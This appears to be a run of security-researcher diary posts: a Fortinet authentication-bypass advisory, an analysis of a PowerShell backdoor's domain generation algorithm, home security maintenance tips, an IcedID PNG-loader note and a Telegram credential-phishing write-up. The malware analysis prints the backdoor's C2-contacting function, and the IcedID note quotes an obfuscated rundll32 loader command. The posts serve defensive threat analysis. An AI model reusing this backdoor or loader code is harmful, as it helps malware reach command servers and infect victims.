Fortinet has contacted[1] its customers to update as soon as possible to the latest version of their firewall (Fortigate) and proxies (FortiProxy) to fix a critical vulnerability. Assigned %%cve:2022-40684%%, it is related to an authentication bypass on the administrative interface.

Affected products are:

• FortiOS: From 7.0.0 to 7.0.6 and from 7.2.0 to 7.2.1
• FortiProxy: From 7.0.0 to 7.0.6 and 7.2.0

If you can't upgrade now, a good recommendation is to block access from unknown IP addresses to the affected products.

As usual, this notification arises just before the weekend. If you have Fortinet products managed by a 3rd party, we also recommended you to cross-check with them to ensure the upgrade will be performed.

[1] https://twitter.com/Gi7w0rm/status/1578299492822003712

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

DGA (“Domain Generation Algorithm") is a popular tactic used by malware to make connections with their C2 more stealthy and difficult to block. The idea is to generate domain names periodically and use them during the defined period. An alternative is to generate a lot of domains and loop across them to find an available C2 server. Attackers just register a few domain names and can change them very quickly.

I found a simple malicious PowerShell script that implements a backdoor. The initial script (SHA256:74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba)[1] had a VT score of only 2/60. It contains the second stage, Base64-encoded. Once registered to the C2 server, it enters a loop and waits for commands from the C2.

Here is how DGA is implemented:

function zdiffvahs( $yyfhghws ){
  $jwusghd = "hxxp://kama[.]mialeeka[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $jwusghd += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $jwusghd.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($yyfhghws + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
    }
  };
  if( $yyfhghws -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost;
  }
};

There is a first C2 address in clear text (kama[.]mialeeka[.]com), but others are created, and a comma-separated list is created. I made a clean version of this function:

function dgagen(){
  $domain = "hxxp://kama[.]mialeeka[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $domain += ","+"hxxp://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $domain.split(",") | %{
    echo $_;
  };
};

The generated list is:

PS C:\Users\xavier> dgagen
hxxp://kama[.]mialeeka[.]com/
hxxp://agvlmjixmdqx.top/
hxxp://ehuxmjixmdqx.top/
hxxp://ahmwmjixmdqx.top/
hxxp://amq1mjixmdqx.top/
hxxp://bxfmmjixmdqx.top/

Domains are generated by concatenating a small string with the current date (“%y%m%V” returns the current year, month, and week number). The string is Base64 encoded, and a common TLD (“.top”) is added. The script tries to contact them in a loop until a valid server is found.

At this time, the initial domain points to a Google Cloud. I checked the other domains against whois.nic.top, but they're not registered yet.

[1] https://www.virustotal.com/gui/file/74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Lately, I have been toying with the idea of creating an "infosec calendar" with activities to perform regularly. The calendar would be more targeted at home users and enthusiasts, certainly not at enterprises, but they may develop their own based on some of these ideas.

There are some of the items that I am considering, and well PLEASE suggest yours:

Restart your browser at least once a day

Some systems may not be stable enough for this to matter, but I find that if you keep your browser open all the time (as many of us do by default), and never close it, browser updates do not get applied. Chrome has a useful indicator warning, but not everybody "sees" it. So I make it a habit to restart my browser in the morning.

Reboot your system once a week

Same idea: Patches will often require a restart of the particular software patched. As you may have dozens of programs patched each week, it is easier to just reboot the system.

Microsoft Patch Tuesday

I am not a big Windows user, so this one applies less to me, but having a calendar reminder on the Wednesday after patch Tuesday to make sure that the patch Tuesday updates are applied makes some sense. Maybe reschedule your weekly reboot for Thursday?

Monthly Backup Check

For my desktops/laptops, I currently run 3 backups (Incremental Timemachine, Daily full clone with Carbon Copy Cloner, and a cloud-based "off-site" solution). But they sometimes fail; worse, they can either fail silently or notify you of a failure while you are busy with something else, so you click them away and forget about it. At the very least, check once a month that your backups are happening. Better restore a file once a month. Maybe a quarterly or annual "restore a system from scratch" test (which is time-consuming).

Monthly Router/Switch/IoT Update check

Many network devices have no robust way to notify you of updates. Often, you need to manually check the current firmware version and compare it (again: manually) to the latest firmware available from the manufacturer. I scripted these checks in the past, but these scripts are a pain to maintain. So it is probably a good idea to check manually once a month. This includes, first of all, your firewall/router, but also other network devices and certainly IoT devices (cameras, microwave oven...)

Monthly failover checks

This is a generic item and may not apply to everybody. But if you have a secondary internet connection or even a UPS for power backup, test them once a month to ensure they work. Note: Try to avoid testing a UPS by unplugging it. This can cause issues as you remove the ground connection. For a power outage, the ground connection remains. If your home disaster recovery plan is to work from a remote location: Simulate it by tethering from a cell phone and make sure things like VPNs and such connect.

So what else is on your calendar?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a guest diary we received from Gunter Der]

While the recommendations for Exchange on Premise, as a workaround for the “ProxyNotShell” vulnerabilities, were updated [1] and Exchange online customers, still relying on basic auth, are targeted by password spray attacks [2], I had another look at recent IcedID campaigns using PNG files to hide their malicious payload. 

As Didier Stevens pointed out in his diary last week, these PNGs are not just decoy images [3]. The initial html page (eg. SHA256 0ab12d65800f3e7e6089fe3c534911f0b42d9175bcf955e937edd39e8bb2c13a) [4] has 2 base64 encoded sections, one is used as background gif to trick users in decrypting the dropped zip, the largest base64 section, with the plain text password provided at the end of the html.
The zip contains an .iso which in its turn contains a 64bit dll, the PNG and a .lnk shortcut gluing it all together:
 

C:\Windows\System32\cmd.exe /c start 73febb25-a241-41d6-8736-4c26ea6932b3.png && start ru^n^d^l^l3^2 2cdb83ee-c76c-4d7c-b9bc-2f4aab08f773.-Tf,PluginInit

The initial access broker behind this trickery is known to hide RC4 ciphered shellcode in PNG files for a few years now so the eventual C2 (in example above triskawilko[.]com) gets detected and picked up quickly [5]. The first network activity, the DNS lookup of C2, however is delayed to evade standard timeout on some sandboxes. 

Much more PNG steganography, shellcode analysis is being covered in the formidable FOR710 Reverse-Engineering Malware: Advanced Code Analysis training.

[1]https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers
https://aka.ms/eomtv2
https://twitter.com/wdormann/status/1576922677675102208
[2]https://techcommunity.microsoft.com/t5/exchange-team-blog/use-authentication-policies-to-fight-password-spray-attacks/ba-p/3643487
[3] https://isc.sans.edu/forums/diary/PNG%20Analysis/29100/
[4] https://bazaar.abuse.ch/sample/0ab12d65800f3e7e6089fe3c534911f0b42d9175bcf955e937edd39e8bb2c13a/
[5] https://www.virustotal.com/gui/url/c3313f03bcd07c86ad3eb18b39d5e4dc7e61d685e2cf35eefc16524a9f112c6f

[This is a guest diary by Jesse LaGrew]

Phishing emails are a daily occurrence and many times it ends with credential harvesting. An email initially lures a user to a website that promised an anticipated file. The landing page taunts a user to click on an additional link and enter their credentials. In this case, the credentials entered by the user are not sent back to the bad actor using a simple web form but using the Telegram API [1]. 

Figure 1: Phishing Landing Site Screenshot

Looking at the source of the website, the URL encoding can make the text difficult to read. 

Figure 2: URL Encoded Text Screenshot from Document Source

Within the URL decoded text, the destination for the input credentials can be found.

Figure 3: Telegram API URL for Credential Submission

Using the Proxy Intercept feature of Burp Suite can help to show the full Telegram API request. The response can also give some additional information about the bot account being used. 

Figure 4: Telegram API Request in Burb Suite

Using the Telegram API for exfiltration is becoming much more common and API usage on your network may be a useful indicator. More information about this particular landing page can be found at URLScan [2]. 

Indicators

https://bitter-poetry-5215.westofsdfdsfd.workers[.]dev/
salmangreyBot (Telegram Bot)

[1] https://core.telegram.org/bots/api
[2] https://urlscan.io/result/c68bdef7-613b-4bad-a7fa-25c353842147/